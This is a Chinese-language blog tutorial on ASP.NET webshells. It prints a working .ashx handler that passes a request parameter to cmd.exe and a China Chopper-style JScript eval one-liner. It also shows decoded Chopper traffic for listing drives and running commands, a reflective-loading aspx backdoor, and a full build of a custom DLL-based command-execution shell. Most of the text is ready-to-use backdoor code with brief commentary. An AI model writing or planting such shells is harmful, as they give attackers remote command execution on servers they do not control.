asp.net学习--ashx一句话木马

首先我们打开C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config查看.net是如何处理ashx程序的

 <add path="eurl.axd" verb="*" type="System.Web.HttpNotFoundHandler" validate="True"/>
            <add path="trace.axd" verb="*" type="System.Web.Handlers.TraceHandler" validate="True"/>
            <add path="WebResource.axd" verb="GET" type="System.Web.Handlers.AssemblyResourceLoader" validate="True"/>
            <add verb="*" path="*_AppService.axd" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="False"/>
            <add verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="False"/>
            <add path="*.axd" verb="*" type="System.Web.HttpNotFoundHandler" validate="True"/>
            <add path="*.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" validate="True"/>
            <add path="*.ashx" verb="*" type="System.Web.UI.SimpleHandlerFactory" validate="True"/>
            <add path="*.asmx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="False"/>
            <add path="*.rem" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False"/>
            <add path="*.soap" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False"/>
            <add path="*.asax" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.ascx" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.master" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.skin" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.browser" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.sitemap" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.dll.config" verb="GET,HEAD" type="System.Web.StaticFileHandler" validate="True"/>
            <add path="*.exe.config" verb="GET,HEAD" type="System.Web.StaticFileHandler" validate="True"/>
            <add path="*.config" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.cs" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.csproj" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.vb" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.vbproj" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.webinfo" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.licx" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.resx" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.resources" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.mdb" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.vjsproj" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.java" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.jsl" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.ldb" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.ad" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.dd" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.ldd" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.sd" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.cd" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.adprototype" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.lddprototype" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.sdm" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.sdmDocument" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.mdf" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.ldf" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.exclude" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.refresh" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.svc" verb="*" type="System.ServiceModel.Activation.HttpHandler, System.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="False"/>
            <add path="*.rules" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.xoml" verb="*" type="System.ServiceModel.Activation.HttpHandler, System.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="False"/>
            <add path="*.xamlx" verb="*" type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="False"/>
            <add path="*.aspq" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.cshtm" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.cshtml" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.vbhtm" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*.vbhtml" verb="*" type="System.Web.HttpForbiddenHandler" validate="True"/>
            <add path="*" verb="GET,HEAD,POST" type="System.Web.DefaultHttpHandler" validate="True"/>
            <add path="*" verb="*" type="System.Web.HttpMethodNotAllowedHandler" validate="True"/>

 看到但是一段这样的处理程序知道了.net处理ashx程序用的是SimpleHandlerFactory于是乎构造一句话木马c#

<%@ WebHandler Language="C#" Class="helloworld" %>

using System;
using System.Web;
using System.IO;

public class helloworld : IHttpHandler {

    public void ProcessRequest (HttpContext context) {
        string cmdon = context.Request["a"];
        System.Diagnostics.Process goit = new System.Diagnostics.Process();
        goit.StartInfo.FileName = "c:\windows\system32\cmd.exe";
        goit.StartInfo.RedirectStandardOutput = true;
        goit.StartInfo.UseShellExecute = false;
        goit.StartInfo.Arguments = "/c" + cmdon;
        goit.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        goit.Start();
        StreamReader reslut = goit.StandardOutput;
        string all = reslut.ReadToEnd();
        reslut.Close();
        reslut.Dispose();
        context.Response.Write("<pre>" + all + "</pre>");
    }

    public bool IsReusable {
        get {
            return false;
        }
    }

}

 

 继续探讨菜刀可连接一句话木马

菜刀可连接的一句话无非是这种形式

<%@Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

 我们用菜刀走http 8080代理然后burp抓包看看连接的包

这是第一个连接的包

=Response.Write("X@Y");var err:Exception;
try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi8iKSsiXHQiKTtmb3IodmFyIGk9MDtpPD1jLmxlbmd0aC0xO2krKylSZXNwb25zZS5Xcml0ZShjW2ldWzBdKyI6Iik7")),"unsafe");
}catch(err){Response.Write("ER"+"ROR:// "+err.message);}Response.Write("X@Y");Response.End();

 base64解码可以看见这是一个获取本地驱动的包 函数是GetLogicalDrives();

var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath("/")+"	");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":")

这里是列当前目录的包

var D='C:\inetpub\wwwroot\';var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/	"+T(P)+"	0	-
");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"	"+T(P)+"	"+s[i].Length+"	-
");}

 执行命令

var c=new System.Diagnostics.ProcessStartInfo('cmd');
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;e.StartInfo=c;
c.Arguments='/c cd /d C:\inetpub\wwwroot\&whoami&echo [S]&cd&echo [E]';
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());

 典型调用System.Diagnostics.ProcessStartInfo创建进程

还要一些文件上传，移动文件也是调用的System.IO操作这里不多分析了我觉得有趣的还是老hack们留下的工具

ASPX一句话shell客户端--分析

我们首先看看他的shell.aspx

<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["F4ck"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

 首先我们来了解一些什么是System.Reflection

我在这里的理解就是加载一个dll 然后创建此类型实例 然后在调用实例里面的方法

实现步骤:
1,导入using System.Reflection;
2，Assembly.Load("程序集")加载程序集,返回类型是一个Assembly
3，   foreach (Type type in assembly.GetTypes())
            {
                string t = type.Name;
            }
   得到程序集中所有类的名称
4,Type type = assembly.GetType("程序集.类名");获取当前类的类型
5,Activator.CreateInstance(type); 创建此类型实例
6,MethodInfo mInfo = type.GetMethod("方法名");获取当前方法
7,mInfo.Invoke(null,方法参数);

 这里我们来尝试一下调用dll里面的方法 反编译作者的CnCerT.CCdoor.Client.Serverinfor.dll得到源代码

 我们就从执行命令开始分析吧这里主要是看构造函数c和GetBytes传值过程值得学习

 我们知道了大概思路 根据客户端操作-->调用本地dll里面的方法-->加载-->以byte传给服务器-->服务器再用System.Reflection加载-->执行操作

那么我们也来构造一个简单的webshell

第一步编译一个dll

using System;
using System.Web;
using System.IO;
using System.Diagnostics;
using System.Net;
namespace myTestdll
{
    public class TestDLL
    {
        public  string ExcuteCmd(string value1, string value2)
        {
            if (value2 == "")
            {
                value2 = "cmd.exe";
            }
            string cmdx = value1;
            Process oci = new Process();
            oci.StartInfo.FileName = value2;
            oci.StartInfo.RedirectStandardOutput = true;
            oci.StartInfo.UseShellExecute = false;
            oci.StartInfo.Arguments = "/c" + cmdx;
            oci.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            oci.Start();
            StreamReader txt = oci.StandardOutput;
            string alltxt = txt.ReadToEnd();
            txt.Close();
            txt.Dispose();
            return alltxt;
        }

    }
}

 第二步 用System.Reflection加载dll 由于//Assembly程序集中有三个加载程序集的方法(Load()、LoadFrom()和LoadFile()).这里我是本地所以LoadFrom LoadFile都行

<%@ Page Title="Home Page" Language="C#"  %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Net" %>
<script runat="server">
    public void Cccc(object sender, EventArgs e)
    {
        Assembly am = Assembly.LoadFrom(@"C:inetpubwwwrootcmd.dll");
        Type type = am.GetType("myTestdll.TestDLL");
        string item = recmdc.Text;
        //绝对路径,即名称空间.类名.
        object instance = am.CreateInstance("myTestdll.TestDLL");//调用实例方法
      string sum = (string)type.InvokeMember("ExcuteCmd", BindingFlags.Default | BindingFlags.InvokeMethod, null, instance, new object[] {item,"" });
        HttpContext.Current.Response.Write(sum);
            }
</script>
<form id="form1" runat="server">
<asp:TextBox id="recmdc" runat="server" Text="whoami"/><asp:Button id="bt1" onclick="Cccc" runat="server" Text="exec" />
</form>

 

 而aspx一句话作者cnqing师傅则是先把dll读出来然后传递给服务器 不得不说 前辈们牛皮